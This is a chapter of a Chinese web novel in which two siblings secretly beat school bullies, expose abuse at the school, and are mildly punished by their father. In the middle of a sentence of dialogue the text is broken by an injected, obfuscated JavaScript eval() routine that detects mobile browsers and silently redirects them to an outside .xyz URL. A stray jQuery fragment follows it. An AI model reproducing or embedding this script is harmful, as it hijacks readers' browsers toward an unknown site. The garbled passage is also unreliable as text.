萧无穷握着木棍,只轻轻打了几下便停了手。萧音在一旁看着,忍不住微微皱眉——她这弟弟,终究还是心太软了。
“这就够了?”她走上前问道。
“够了,已经够了。”萧无穷放下木棍,轻声应道。
萧音忍不住笑了,抬手揉了揉他的头发:“虽说今日领你出来出气,但你要记着,动手打架终究是下下策。遇事能好好沟通,才是最妥帖的法子。”
她顿了顿,见少年认真听着,又柔声道,“你能明白吗?罢了,你只需记着:遇事先试着好好说,若是沟通不成,就第一时间来找姐姐。有姐姐在,断不会让你受半分委屈。记住了吗?”
萧无穷抬起头,眼里亮闪闪的,他用力点头,笑着应道:“记住了,姐姐。”
“好了,记得回去的路吗,自己能回去吗?”
“可以的。”
萧音拍了拍他的肩,叮嘱道,“行,那你先回去。切记,今夜你自始至终都在房里安睡,从未踏出过房门半步,知道吗?”
“姐姐要做什么?我打的不重的,我们一起把他们送回去,应该不会有事。”
“这便不用你操心了。”萧音笑着推了推他,“安心回去,万事有姐姐呢。”
萧无穷眼珠一转,忽然问道:“姐姐是想把事情闹大?”
“你这小鬼头,心思倒活络。”萧音捏了捏他的脸颊,故意板起脸,“大人的事,小孩子少打听。快回去睡觉,不然熬夜伤神,该长不高了。”
“我可以帮姐姐。”萧无穷完全没有意识到自己下意识就开口了。
“真不用。”萧音蹲下身,与他平视,眼神温柔却坚定,“你只需记牢姐姐的话,今夜你一直在房里睡觉。姐姐说了,明日会是全新的开始,断不会骗你。听话,回去吧?”
“那姐姐也早些回来,小心些。”他是真的不理解,这小小的莘阳城居然有这么多“傻子”
,萧天阔是一个,文渊堂的夫子是一个,现在就连生活在深宅大院里的萧音也是。
但,少年的一腔热血终将被现实的黑暗剿灭。
这世道最多余的就是善良,所以善良的人都不会有什么好下场。
“知道啦,快走吧。”萧音挥了挥手,看着少年的身影消失在夜色里,才敛了笑意,转身望向地上的麻袋,眼神渐渐沉了下来。
*****
铃铛急匆匆地掀帘而入,脚步都带着风:“小姐!小姐!还睡呢?出大事了!天大的新鲜事!”
萧音在床上翻了个身,眼皮都没抬,声音里带着刚睡醒的慵懒暖意:“听着呢,听着呢,你慢慢说。”
“今早啊,”铃铛喘了口气,语速飞快,“边境卫所李千户家的二公子,还有粮商徐家的大公子,俩人被人套着麻袋扔在了十字街头!好多百姓都瞧见了,刚解开麻袋时,大家还当是出了人命,当即就报了官。”
“结果人只是晕过去了,醒来后哭天抢地的,一口咬定是文渊堂的学子干的!官府立马就把学堂围了,好多学子的家长也闻讯赶去,好多大人物都惊动了,亲自去了趟学堂呢!”
她顿了顿,又兴奋地接着说:“那些学生哪里见过这等阵仗?官府一审问,当即就把往日里拉帮结派、欺负同窗的事全抖落出来了!这一下可好,直接变成了当众清算欺辱的大会!好些不知情的父母当场就变了脸色,文渊堂的王夫子更是急火攻心,当场就吐了血,晕过去了!
“如今这事闹得满城风雨,街头巷尾都在议论呢!听说王夫子醒后心灰意冷,已打算关停学堂了,好多想让孩子求学的人家都在唉声叹气,怨声载道的。
“小姐,小姐,您真在听吗?”
“在听呢,在听。”萧音困的睁不开眼,声音依旧慢悠悠的。
铃铛撇了撇嘴,见自家小姐这副不上心的模样,显然是没勾起兴致,不由得有些不满:“算了,您接着睡吧,我去跟厨房的张婶他们说道说道去!”说罢,又一阵风似的跑了出去。
****
郭安林将手中纸笺轻轻放下,眉宇间带着几分感慨:“文渊堂已将诸生尽数遣归。王大人亲笔写下篇告示,贴在了学堂照壁之上,言明三日后开考,只取品行学业俱优者收录。如今莘阳城里,因这事正议论得沸沸扬扬,街谈巷议未有停歇呢。”
萧天阔叹了口气:“王大人当年主动随我来此莘阳,自请兴办学堂,曾言‘愿庇寒士,共沐文风’,何等意气。如今竟成这般光景,殊为可叹。”
郭安林蹙眉道:“据官府查报,学堂中早有欺凌之事,不少学子父母并非不知,只是敢怒不敢言。”
“边城百姓本就生计维艰,或依军户为役,或赖商贾营生,一家老小皆系于旦夕之间。若非此次李、徐二家子弟被弃于街市,两家仗势向官府施压,这般龌龊事,不知还要隐匿多久,多少稚子要在隐忍中消磨时光。”
萧天阔默然良久,低声道:“乱世边城,生民如蝼蚁,能苟活已属不易。衣食尚且难继,谁又敢为子弟一句‘受辱’,去触权贵之家的锋芒?所谓‘权益’二字,于他们而言,早已是奢望了。”
“陈太尉当年的教诲,我今日终于是明白了。”
郭安林顿了一会,又道;“将军,还有一事我也是方才才探明。昨夜小姐与少爷皆私出府中,小姐更至三更方归。据下人所见,他们去的方向,正是徐公子和李公子被发现的地方。而且,起初出面指证学堂欺凌之事者,皆是少爷的同窗学友。”
萧天阔眉峰一紧:“你是说,此事竟是他们暗中促成?”
“可能性极大。”
“那他们为何不先来告知于我?我若出面,何愁事不成?”
“您若亲自动手,便是以军威压地方财势,表面看似了结,可那些寒门子弟日后在学堂仍是任人拿捏,无人真心护佑。这般‘解决’,不过是掩人耳目罢了。”
萧天阔闻言面色大喜,拍案而起:“他们小小年纪
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16405688|184451||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
便有此为民之心,不愧是我的孩子,该赏!”
郭安林叹了口气,敲了敲桌案,“心系百姓固然可嘉,然行事需循章法。今日敢私断学堂事,他日难保不因意气用事再生事端。少年心性未定,若不加以管教,恐日后行事失了分寸,纵有善念,亦可能酿成祸端。”
萧天阔抬头看了看窗外渐渐升起的月亮,念念,你若是还在,也不希望孩子们这样吧。
他默然片刻,他还是不忍心自己的宝贝闺女受重罚,良久开口道:“好,我知道了。只是罚什么?”
“少爷和小姐初衷的是好的,又是初犯,只需小惩大诫。去忠烈祠跪上半个时辰,写上一篇自省书即可。”
萧天阔想了想觉得可以,于是对着门外道“来人,去将小姐与少爷唤至前厅来。”
萧音踏入前厅时,萧无穷已在前庭跪了片刻。
她也毫不拖泥带水,撩裙便跪,脊背挺得如松竹般笔直,未等他们开口,先朗声道:“父亲,郭叔,人是我打的。他们言行无状,我瞧着不顺眼,便亲手教训了。”
这般磊落坦荡,倒让上首的萧天阔与郭安林皆是一怔。郭安林轻咳一声,与萧天阔交换个眼神:这性子,倒真与无穷如出一辙。
忆及方才萧无穷进来时,亦是这般不遮不掩:“人是我打的。他们行事跋扈,我便想给些教训,让他们知晓分寸。”
庭中静了片刻,萧天阔端坐椅上,神色渐肃:“既都认了,那多余的话我也不多说……”
“什么叫‘都认了’?”萧音陡然出声打断,“人是我一人打的,与他何干?”她转头瞪向身侧的萧无穷,少年却只垂首跪着,不敢与她对视。
萧天阔看向萧无穷:“无穷既已认了……”
“认什么认?”萧音当即打断,声音更急,“你何时动过手?明明是我独自寻去的!”
“无穷,你且说,当时你在场吗?”萧天阔沉声问。
萧无穷缓缓抬头,无视了萧音投来的警告目光,眼神澄澈而坚定:“回义父,孩儿在场,人也是我打的,姐姐不过是在一旁看着罢了。”
言罢,又俯首垂眸。
萧无穷觉得自己也是真是疯了,居然帮她善后。他当时究竟是怎么想的?莘阳城的风水当真不养人,自己也傻了。
那现在那,他为什么要承认?对,一个乖巧懂事的弟弟应该是诚实的,他还要在这住上一段时间,还要依靠萧音,不能让她不喜。
萧音在旁气得指尖攥紧,偏又发作不得,只暗暗咬牙。
萧天阔见状,眸中笑意渐深,心底暖意翻涌:皆是懂事的孩子,既敢担错,又知护着彼此,倒没白养。
郭安林轻咳一声,将三人思绪拉回正途。萧无穷立刻敛了神色,垂首听训。
郭安林温声道:“我与你父亲知晓你们并非无端生事,只是这般事,原该告知长辈,怎可擅自行动?今日便小惩大诫,罚你们去忠烈祠静思,各书一篇自省书来。”